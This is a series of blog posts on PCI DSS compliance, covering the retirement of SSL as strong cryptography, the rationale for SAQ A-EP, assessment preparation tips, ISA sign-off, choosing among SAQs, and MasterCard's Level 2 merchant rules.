SSL Is Officially Declared Dead

On January 30, 2015, QSAs received the latest edition of the Council’s Assessor Newsletter.  Buried in that edition was the following statement.

“Notice: PCI DSS and PA-DSS v3.1 Revisions Coming

In order to address a few minor updates and clarifications and one impacting change, there will be a revision for PCI DSS and PA-DSS v3.0 in the very near future. The impacting change is related to several vulnerabilities in the SSL protocol. Because of this, no version of SSL meets PCI SSC’s definition of “strong cryptography,” and updates to the standards are needed to address this issue. (Highlighting emphasis added by the PCI Guru)

We are working with industry stakeholders to determine the impact and the best way to address the issue. While we do not have the final publication date, our goal is to keep you apprised of the progress and to provide you with advanced notification for these pending changes. We are also preparing several FAQs that will accompany release of the revised standards.

Should you have any questions, please contact your Program Manager.”

Because the announcement was titled about the coming v3.1 revisions to the PCI DSS and PA-DSS standards, I am sure a lot of QSAs missed this pronouncement.

Not that this should be a surprise to any QSA as the POODLE vulnerability effectively killed SSL.  The Council has now officially announced that SSL is no longer deemed to be strong cryptography.

Therefore, those of you still using SSL to secure transmissions containing cardholder data (CHD) need to stop that practice as soon as possible and convert to TLS or IPSec.

UPDATE: On February 13, 2015, the PCI SSC issued an update to their original announcement in the Assessor Newsletter.

Advertisement

Why SAQ A-EP Makes Sense

A colleague of mine attended the PCI SSC QSA Update session at the ETA convention a couple of weeks back.  One of the big discussion items was how the Council is being pilloried over SAQ A-EP.  This SAQ was developed to address the recommendations that were documented in the information supplement titled ‘PCI DSS E-commerce Guidelines’ that was published in January 2013.  Specifically, SAQ A-EP addresses the ecommerce sites that do redirects to a processor’s site that does the actual payment processing.

Based on the comments I have seen online and made in personal conversations, you would think that SAQ A-EP was heresy or a bad joke.  All of these derogatory comments are being driven by merchants that were sold a bill of goods by slick, non-PCI informed, sales people pushing redirected ecommerce solutions by claiming that it put the merchant entirely out of scope.  This was not the case and never was the case, particularly after the issuance of the information supplement.  However, we still encounter outsourcing vendors that continue to claim a redirect approach puts the merchant entirely out of scope.

To understand the rationale of SAQ A-EP we need to understand the risk surrounding these redirect solutions.  The risk is that an attacker modifies the redirect on the merchant’s server to now point to their own payment page, collects the customer’s cardholder data (CHD) on the attacker’s page and then, optionally, passes the customer on to the original payment page at the processor so the customer and merchant are none the wiser.

Under the PCI DSS and card brands’ security programs, redirect systems are still in-scope for PCI compliance because they are a key control in the payment process even though the merchant’s server issuing the redirect does not come into direct contact with CHD.

With all of that said, SAQ A-EP is not a full SAQ D, but it is not as short and simple as SAQ A either.  There are a lot of requirements to be met with SAQ A-EP which is why merchants are up in arms.  However, if you understand the aforementioned risk, you should understand why the requirements that have to be complied with in SAQ A-EP are there.

The requirement 1 requirements are all there to ensure that there is a firewall protecting the server that does the redirect.  This is Security 101 and I would doubt that any merchant would not have a firewall protecting all of their Internet facing servers.  Routers have always been optional and if the merchant does not have control of those devices, then they would not be included here.

Requirement 2 is all about making sure that all devices in the cardholder data environment (CDE) are properly configured and security hardened.  Again, this is Security 101 stuff.  If a merchant is not doing this for Internet facing devices, they are just begging to be attacked and compromised.

The requirements called out in SAQ A-EP for requirement 3 are there to confirm that the merchant is not storing cardholder data (CHD) or sensitive authentication data (SAD).  A merchant using a redirect should be marking these as Not Applicable (NA) and documenting that they do not store CHD in their system(s) because they use a redirect that processes and transmits CHD directly between their processor and their customer.  Any merchant that answers these requirements any other way should not be using SAQ A-EP.  All of that said, merchants need to have proof that they examined logs, trace files, history files, databases, etc. and did not find any CHD or SAD in those files.

Requirement 4 is provided to ensure that secure communications are used.  I would recommend documenting the SSL/TLS certificate information for your processor for the requirements in 4.1.  But do not pass over requirement 4.2.  A lot of ecommerce only merchants have call centers or take telephone calls and do order entry into the same Web site used by their customers.  As a result, merchants need to make sure that email, instant messaging, etc. are never used for communicating CHD/SAD.

Requirement 10 is important for any forensic research should the redirect be manipulated so that it can be determined when that event occurred so that the scope of any compromise can be determined.

While one would think that the vulnerability scanning and penetration testing requirements in requirement 11 would be thought of Security 101 and self-explanatory, you would be surprised at how many merchants argue about that fact.  Again, the driver of these redirect solutions was cost reduction and vulnerability scanning and penetration testing incur costs, sometimes significant costs depending on the number of servers, firewalls, load balancers, switches, etc. involved.  If you do not do vulnerability scanning and penetration testing as required, how do you know that the redirect system(s) are properly secured and patched?

However, the key requirement that cannot be missed is requirement 11.5 regarding critical file monitoring.  That is because the whole security of the redirect environment is pinned on detecting any modification of the redirect URL.  All of the other requirements in SAQ A-EP are there to minimize the risk of compromising the redirect.  11.5 is there to ensure that, if the other controls fail, at least the merchant would be alerted to the fact that the redirect had been changed.  If a modification to the redirect cannot be reliably detected by the critical file monitoring solution, then the security of the redirect cannot be assured.

The remaining requirements for 5, 6, 7, 8, 9 and 12 are all Security 101 items.  If you are not following these requirements as part of best practices for security and IT operations in general, then you need to consider what exactly you are doing.

Hopefully everyone now understands SAQ A-EP and why it is not as simple as that slick sales person implied.

Removing The Drama Of A PCI DSS Assessment

I had to prepare a presentation for a client a while back giving them some tips on how to prepare and get through a PCI assessment as easy as possible.  I thought it might be good to share those thoughts.

Trust But Verify

This famous quote from US President Ronald Reagan is the mantra of a PCI assessment.

The PCI DSS is based on the “trust” that organizations are complying with the PCI DSS.  However self-assessment processes and QSAs are used to “verify” that the organization is, in fact, complying with the PCI DSS.  As a result, the organization being assessed not only has to produce documentation to that effect, but the QSA must also observe that the PCI DSS requirements are being followed.

The net is that, just because you say something is fact, your QSA must substantiate your statements so that they, too, will treat them as fact.  If you remember nothing else but this simple truth, you will understand why a QSA must do what they do.

Scope

If PCI assessments go wrong for any reason, this is probably the primary reason.  It fascinates me that people often profess ignorance of the PCI DSS, yet somehow become experts on the subject when it comes to scoping.

Remember point number one, trust but verify.  Under that premise, the PCI SSC makes a QSA’s primary responsibility to confirm the scope of the PCI assessment as they verify the facts.  As a result, in order to confirm that scope, the QSA must look at everything and then, through investigation and evaluation, determine that the areas you deem out of scope are, in fact, truly out of scope.

Let your QSA ask their questions and conduct their observations without arguing with them about scope.  They are only doing this because they are required to confirm the facts and your fighting with them about scope is only going to making them wonder what you are trying to hide.  The bottom line is that arguing with your QSA about scope only makes your assessment all the more painful and time consuming.

If you truly want to avoid arguing over scoping, get a copy of the Open Source PCI Scoping Toolkit.  Go through your environment and determine the categories of all of your systems and networks.  This is a good annual exercise because you need to prove your scope every year.

Applicability

According to the PCI SSC, there are five PCI DSS requirements that can never, ever be marked as ‘Not Applicable’: 1.2.3, 3.2.1, 3.2.2, 3.2.3 and 11.1.  I have discussed these all before but they deserve another quick discussion here.

Clients will argue ad nauseam that wireless is not implemented or is out of scope and therefore refuse to discuss wireless.  For requirement 1.2.3, a QSA is required to document the procedures they followed to rule wireless in or out of scope.  That of course means the QSA must investigate any wireless networks and evaluate if the controls are rigorous enough to keep wireless out of scope.  For requirement 11.1, the QSA must investigate and evaluate if the organization’s controls surrounding the detection of rogue wireless are appropriate regardless of whether or not the organization has implemented wireless networking.

3.2.1, 3.2.2 and 3.2.3 are all related to the securing of cardholder data when it is stored.  Even if an organization is not storing cardholder data on their systems, a QSA must document the procedures they used to confirm that cardholder data is not stored on the organization’s systems.  This usually involves a review of flat files and database schemas and the running of utilities and queries against those systems and databases looking for cardholder data.

The bottom line is do not argue about something being ‘Not Applicable’ and then hinder the QSA’s investigation to prove it is ‘Not Applicable’.  Do not get me wrong, you need to keep your QSA on point, but remember that QSAs are required to evaluate the situation and then document the process used to determine that a particular requirement is ‘Not Applicable’.  All you do by complicating that investigation is add more time to your assessment and, potentially, cause a requirement to be marked as ‘Not In Place’ instead of ‘Not Applicable’.

Yes, I Did Kind Of Ask That Earlier

Like security, the PCI DSS also works from a ‘defense in depth’ approach.  A lot of the questions QSAs ask are very similar just asked from a different perspective.  The people that develop assessment and audit programs will tell you that this is the most effective way to uncover the level of compliance with a given program.  The reason is that organizations who have not integrated a compliance program into their day-to-day operations will typically provide inconsistent or confusing answers to the similar questions.  Not that this is a perfect technique mind you, but it does work the majority of the time.

Please be patient with your QSA.  They did not write these procedures, but they are required to execute them.

Answer The Question

Most people suck when being questioned, particularly in a legal proceeding, including yours truly.  Lawyers always instruct anyone that will be called to testify in a legal proceeding to take their time, focus on the question being asked and only answer the question being asked.  Never, ever, ever provide any information outside of the question, i.e., do not elaborate.  The trouble is that lawyers know that silence is a vacuum and it is human nature to fill that vacuum with extraneous information.  Hence why they typically have long pauses between questions.

QSAs and auditors tend to operate under the same principle as a lawyer.  People get into trouble when they start talking about things that are outside of the question, out of scope or not relevant to the assessment.  Such responses will at first confuse the QSA for a moment as they try to reconcile your remarks.  But then, the QSA may question whether they truly understand the environment and, possibly, the scope of the assessment.  It is then that they may start quizzing you and your staff as they go back and reconfirm their understanding of the environment.  All of this takes time, time away from the assessment process as you cover old ground while the QSA re-verifies the facts.

The lesson to be learned here is that there is nothing wrong with saying, “I do not know.”  Or “I will have to look into that question and get back to you.”  The worst thing you can do is try and “tap dance” around the question or never really answer the question.  If you do not have the answer, then find out who does have the answer and point the QSA to that person.

Prepare

And finally, the best thing you can do to avoid all of these issues is to walk through the PCI assessment process and requirements with those of your staff that will be interviewed/observed and make sure they understand the questions to be asked and how they should be answered.

If you really want to know what the QSA will ask, why they will ask and the evidence they will require, get a copy of the PCI DSS ROC Reporting Instructions from the PCI SSC Document Library.  The Reporting Instructions document is the “Bible” for QSAs as it documents how they will be assessed in a PCI SSC Quality Assurance review.  Reviewing and understanding this document will go a long way to minimizing the “What do you need that for?” questions that all QSAs encounter.

For each requirement’s tests, the Reporting Instructions will tell you:

• What observations, if any, need to be performed and documented.
• What documents, if any, need to be collected and reviewed and what information needs to be identified in those documents.
• What people, if any, need to be interviewed and about what topic(s).
• What processes, actions taken or states of equipment, if any, need to be observed and documented.
• Whether or not sampling can be used.

Using the Reporting Instructions, you can also gather a lot of the observations ahead of time.  Your QSA will still have to conduct some observations such as that default passwords are not used, that timeouts occur, that change management operates and the like.  But by gathering screen shots and documenting what you used as testing conditions will go a long way to making your assessment go much more smoothly and quickly.

Hopefully this discussion will help you get through your next PCI assessment without all of the associated drama that can come from such an exercise.

Can An ISA Sign Off On A ROC Or SAQ?

This question came up recently on one of the LinkedIn PCI groups and drove a lot of discussion.  However, one of the things that concerned me the most is that no one belonging to this group bothered to submit the question to the PCI SSC to be answered.

When such questions come up, the first thing you should do is go to the PCI SSC Web site’s FAQ page to see if the question has already been answered.  There is an amazing wealth of information contained in the FAQs.

If you search the FAQs and you do not come up with an answer to your questions, then submit your question to the PCI SSC.  Technically, anyone can submit a question to the PCI SSC.  However, if you are a QSA in a QSAC, the person listed in your QSAC listing should be the focal point and should submit all questions you have to the PCI SSC.

Questions are submitted to info@pcisecuritystandards.org.  Expect a few days to a few weeks to get a response.  Simple procedural questions such as whether an ISA can sign a ROC or SAQ like a QSA can get a response in a day or two.  Questions that require the PCI SSC to formulate a position, may take a number of weeks before a response is provided.

So, can an Internal Security Assessor (ISA) sign off on a Report On Compliance (ROC) or Self-Assessment Questionnaire (SAQ)?  The answer provided by Cathy Levie, Senior ISA Program Manager, PCI SSC, is as follows.

“The ISA can sign off as long as their Processor/Acquirer has approved of that. This is not up to the PCI SSC.”

In the future, if you have a question and cannot find an answer, ask the PCI SSC.  When you get your answer, please post the answer to any of the PCI groups on LinkedIn or send them to me so that the rest of the PCI world can benefit from the knowledge.  One of the unfortunate issues the PCI SSC has is that not all questions seem to make it into the FAQs or the FAQs are not updated as quickly.

My Opinion On SAQs

DISCLAIMER: The following is my opinion on the self-assessment questionnaire (SAQ) process and cannot be relied upon.  Only your acquiring bank can definitively tell any merchant which SAQ they should provide to their acquiring bank.

Based on the comments I got back on the first SAQ post, I thought I ought to gather that information together into one location and share my thoughts on what the PCI SSC is thinking.  The problem that small and midsized businesses (SMB) are running into is that no one SAQ meets their needs because they have multiple methods of conducting credit card transactions, from face-to-face to telephone to eCommerce.  And that is the problem.  Since there are multiple ways to conduct a transaction, no single SAQ will cover all of these transaction methods.  And since an organization is only supposed to fill out and submit one SAQ to their acquiring bank, the question becomes, which SAQ should the organization use?

Let us face it; SAQ D is just not the SAQ any organization wants to fill out.  Organizations are trying to avoid SAQ D like the plague because it is “ROC-lite.”  But unfortunately, if your business model does not fit within the strict criteria set forth with any of the other SAQs; your only option is to fill out SAQ D.  And that, my friends, is the rub.

But that does not mean that everything in SAQ D applies to your organization.  However, before everyone starts marking the majority of requirements in SAQ D “Not Applicable,” let me point out that the requirements in 9 and 12 will always apply to any organization filling out SAQ D regardless of how many ways organizations conduct their credit card transactions.

So how does an organization keep their sanity and fill out SAQ D?  In my very humble opinion, you use the other SAQs that apply to your individual transaction types to guide you in filling out SAQ D.  For example, your organization has an entirely outsourced eCommerce site (SAQ A), but you also have data entry of phone and mail orders over a PC using the eCommerce site (SAQ C-VT) and you have a portable card terminal that you conduct transactions at seminars (SAQ B).  Use the three SAQs (A, B and C-VT) as templates for filling out SAQ D.  That does not mean that there will be some other requirements in SAQ D that an organization might need to address.  However, the majority of SAQ D will be filled out and then an organization can review their SAQ D to ensure that everything that is relevant is covered.

My work with SMBs has given me an appreciation for why organizations want to avoid SAQ D.  SAQ D is not a simple task and takes a lot of time and effort to prepare, both of which SMBs do not necessarily have in abundance.  However, if your organization intends to accept credit cards for payment for goods or services, then through your Merchant Agreement with your acquiring bank, you are contractually bound to abide by all relevant PCI standards.  So, either you stop accepting credit cards for payment, or you own up to the fact that the PCI standards are just another requirement of doing business in our electronic age.

I wish I had a better answer, but there is not one.

Self-Assessment Questionnaires

I have received some interesting questions of late regarding various scenarios and how to fill out specific self-assessment questionnaires or SAQs.  The troubling part to these questions is that they are totally misinterpreting how to apply the SAQs to particular businesses.  As a result, I thought it was a good time to discuss the various incarnations of SAQs and how they apply to various businesses.

For those of you unfamiliar with the PCI SAQs, there are five; A, B, C, C-VT and D.  The first four are designed for very specific business scenarios and D is the catch all when none of the previous four seem to fit.  In the QSA trade, SAQ D is referred to as Report On Compliance (ROC) ‘Light’ because any organization that has to fill out SAQ D is essentially going through all 12 PCI DSS requirements, albeit on a reduced scale.  If your business does not fit the criteria for the other four SAQs, then you are expected to use SAQ D.

The first important fact about the SAQs is that they can only be used by merchants classified as Level 2 through 4 or Level 2 service providers.  And the most important fact, while anyone can give you an opinion regarding which SAQ your organization should use, only your acquiring bank can officially determine which SAQ your organization should use.  That said, in the front of every SAQ under a section entitled ‘Completing the Self-Assessment Questionnaire’, the SAQ documents the criteria for using the particular SAQ.  If your organization does not meet all of the criteria, then you cannot use the SAQ.

SAQ A is designed for merchants that have no brick and mortar stores such as those similar to Amazon.com.  In addition, the merchant must be totally outsourcing its processing, storing and transmission of cardholder data to a third party such as Level 3 or IBM and those providers must be PCI compliant.  Finally, the organization cannot be storing cardholder data electronically.  However, the organization can have paper reports and receipts that contain cardholder data, but those documents cannot be received electronically.

For SAQ B, your company needs to go back to the “stone age” of credit card processing.  The organization must be using stand-alone card terminals or manual embossers also known as a “knuckle buster.”  In the case of a stand-alone terminal, the terminal cannot be connected to a network or the Internet.  No cardholder data can be stored electronically.  The organization can have paper reports and receipts that contain cardholder data, but those documents cannot be received electronically.

In SAQ C, we get to versions; the standard SAQ C and SAQ C-VT.  The original SAQ C is for organizations that run integrated point of sale (POS) systems on a network that only connects to the Internet for authorization and does not store cardholder data.  To qualify to use SAQ C, the organization must meet the following criteria.•    The payment application system and the Internet connection are on the same device and/or same local area network (LAN);

• The payment application/Internet device is not connected to any other systems within the organization’s environment (this can be achieved via network segmentation to isolate payment application system/Internet device from all other systems);
• The organization’s retail facility is not connected to other retail locations, and any LAN is for a single retail location only;
• The organization retains only paper reports or paper copies of receipts;
• The organization does not store cardholder data in electronic format; and
• The organization’s payment application vendor uses secure techniques to provide remote support to your payment system.

Where most organizations go wrong with the original SAQ C is when they have an integrated POS that connects back to a corporate network.  Remote management is allowed in this environment, but the entity that remotely connects must not have unlimited or uncontrolled access to the POS environment.  We have run into a number of instances, particularly in the fast food and hospitality/hotel industry, where the franchisee’s POS solution fits the SAQ C criteria.  However, upon further investigation, we find that SAQ C cannot be used because the POS environment is connected managed from the franchisee’s corporate office or it is managed or connected to the franchiser’s corporate office.

New for version 2.0 of the PCI DSS is SAQ C-VT.  This was developed to handle virtualized environments.  Virtual can be either full on thin clients such as a Wyse terminal or a PC where only a browser is used to process cardholder data.  However, the same connectivity requirement remains in that the thin client or PC must only connect to an acquirer, processor or third party.  Finally, and the most important aspect for this SAQ, cardholder data can only be entered manually.

So those are the rules surrounding using SAQs.  Hopefully all of you small merchants can now figure out which SAQ to use.  However, remember, please consult with your acquiring bank on which SAQ to use before you pick one.  If your acquiring bank gives you no idea, then use this posting to make your choice.

MasterCard Takes A Giant Step Sideways

As you may recall, MasterCard International revised their Site Data Protection (SDP) program earlier this year to require Level 2 merchants to conduct an on-site assessment of PCI compliance, aka Report On Compliance (ROC).  On December 15, MasterCard released a bombshell on their Level 2 merchants by backing away from the ROC requirement.  However, this change overshadows some other significant changes that you need to be aware.

For most, the big news in the December 15 pronouncement was that, effective immediately, MasterCard has gone back to only requiring Level 2 merchants to fill out a Self-Assessment Questionnaire (SAQ) instead of a ROC.  This was somewhat anticipated after Visa did not change their merchant level reporting requirements accordingly.  Conducting a ROC is now optional.

The original move by MasterCard was to try and level the playing field since MasterCard typically has fewer transactions than Visa at most merchants.  MasterCard was trying to reduce their risk by getting their Level 2 merchants that would likely be Level 1 if the merchant’s Visa transactions were aggregated with their MasterCard transactions to do a ROC instead of an SAQ.

The biggest and probably the best news in my opinion is that, as of June 30, 2011, any Level 1 or Level 2 merchants that want to create their ROC or SAQ using their internal audit staff are now required to have those personnel attend PCI SSC training and become certified in the ROC or SAQ process.  As a QSA that has come into an organization a year or two after companies have conducted their own assessment and created their ROC, I can tell you that without training, internal auditors are not equipped to conduct such a project.  The biggest issue they have is that they do not interpret the PCI DSS correctly because they have not been given the insight that QSAs are given at training.  While this might be a potential threat to my livelihood, I applaud MasterCard for mandating this requirement.

However, there is a twist in the directive.  MasterCard states that if Level 2 merchants do not get their internal audit staffs trained and certified in approved PCI SSC programs, then their SAQ or ROC must be completed by a QSA.  So, while MasterCard backed away from the mandatory ROC for Level 2 merchants, Level 2 merchants either train their internal audit staffs or use a QSA.  So my livelihood may not be as adversely affected as I may have thought.

And finally, as of July 1, 2012, all merchants and service providers that use third party developed software can only use that software if it is PA-DSS compliant. Let us be clear, this is only relevant to third party developed software, not software that is developed in-house.  However, MasterCard seems to have created a potential issue depending on how they define ‘third party’.  I am assuming that MasterCard is referring to third parties such as Micros, Oracle, IBM and similar software vendors that sell point-of-sale (POS) solutions and not the hired consultant that creates an eCommerce Web site for the local donut shop.  However, this definition needs to be clarified by MasterCard so that we are all on the same page.

UPDATE: The PCI SSC’s Web site indicates that they will be offering training to basically anyone willing to pay for it.  The 2010 Training Schedule is supposed to be released on Friday, January 15.  So keep checking their Web site for the training schedule.